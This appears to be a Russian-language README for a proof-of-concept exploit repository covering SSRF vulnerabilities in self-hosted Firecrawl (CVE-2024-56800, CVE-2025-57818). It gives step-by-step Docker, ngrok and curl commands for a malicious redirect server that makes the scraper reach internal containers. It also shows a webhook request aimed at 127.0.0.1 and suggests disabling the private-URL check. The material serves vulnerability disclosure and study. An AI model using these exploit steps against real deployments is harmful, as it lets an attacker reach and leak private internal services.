cyhe50/cve-2024-56800-pocЭксплойт proof-of-concept, демонстрирующий уязвимости SSRF в веб-скрапере Firecrawl (CVE-2024-56800, CVE-2025-57818) с самостоятельным хостингом и вредоносным сервером перенаправления.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl — это веб-скрапер, позволяющий пользователям извлекать содержимое веб-страницы. Версии до 1.1.1 содержат уязвимость подделки серверных запросов (SSRF). Движок скрапера принимает перенаправления сайтов на любые локальные IP-адреса, что приводит к утечке ресурсов на частном сервере.
это находится в apps/api/src/controllers/v1/scrape.ts
ввод пользователя не санируется и допускает частные IP-адреса. При использовании 127.0.0.1 он фактически перенаправляется в локальную сеть Firecrawl, что приводит к утечке внутреннего сервера Firecrawl.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
Причина в том, что сервер Firecrawl блокирует частные URL. Если вы не хотите делать сервер общедоступным, полагаю, можно просто закомментировать проверку прямо в Firecrawl.
Здесь я просто опишу, что сделал.
ngrok:
ngrok http 8000
curl: (не забудьте вставить правильный URL)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! откройте Dockerfile и измените URL на только что сгенерированный
docker build -t scraper .
docker run scraper
При запуске самостоятельно размещенного сервера Firecrawl активируется 5 сервисов, один из них — firecrawl-test-1 (подробнее см. через docker ps).
Поскольку все эти 5 сервисов находятся в одной сети, они могут подключаться друг к другу, используя имя контейнера, к которому хотят подключиться.
например (подключение к firecrawl-test-1)
выполнение curl напрямую на локальной машине:
curl http://firecrawl-test-1:80
or
curl http://localhost:80
ни один из них не должен работать, так как они не находятся в той же сети, что и firecrawl-test-1
Однако, при доступе внутри firecrawl-api-1:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
это должно вывести правильные данные, так как они находятся в одной сети.
На вредоносном сервере происходит перенаправление на http://firecrawl-test-1:80, что должно работать только в сети Firecrawl. Следовательно, успешное достижение сервера firecrawl-test-1 означает, что скрапер успешно перенаправляет на свой внутренний сервер. Это показывает, как работает SSRF для раскрытия ресурсов на частном сервере.
Это также уязвимость SSRF.
Это происходит в API crawl, где параметр webhook не санируется, злоумышленники могут отправлять POST-запросы в локальную сеть Firecrawl.
это находится в apps/api/src/services/webhook.ts. Проблема в том, что ввод webhookUrl не санируется
Вебхук выполнит POST-запрос к указанному URL. Здесь мы устанавливаем его на 127.0.0.1, и он успешно подключается к внутреннему серверу.
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
Внутренний сервер успешно получил POST-запрос
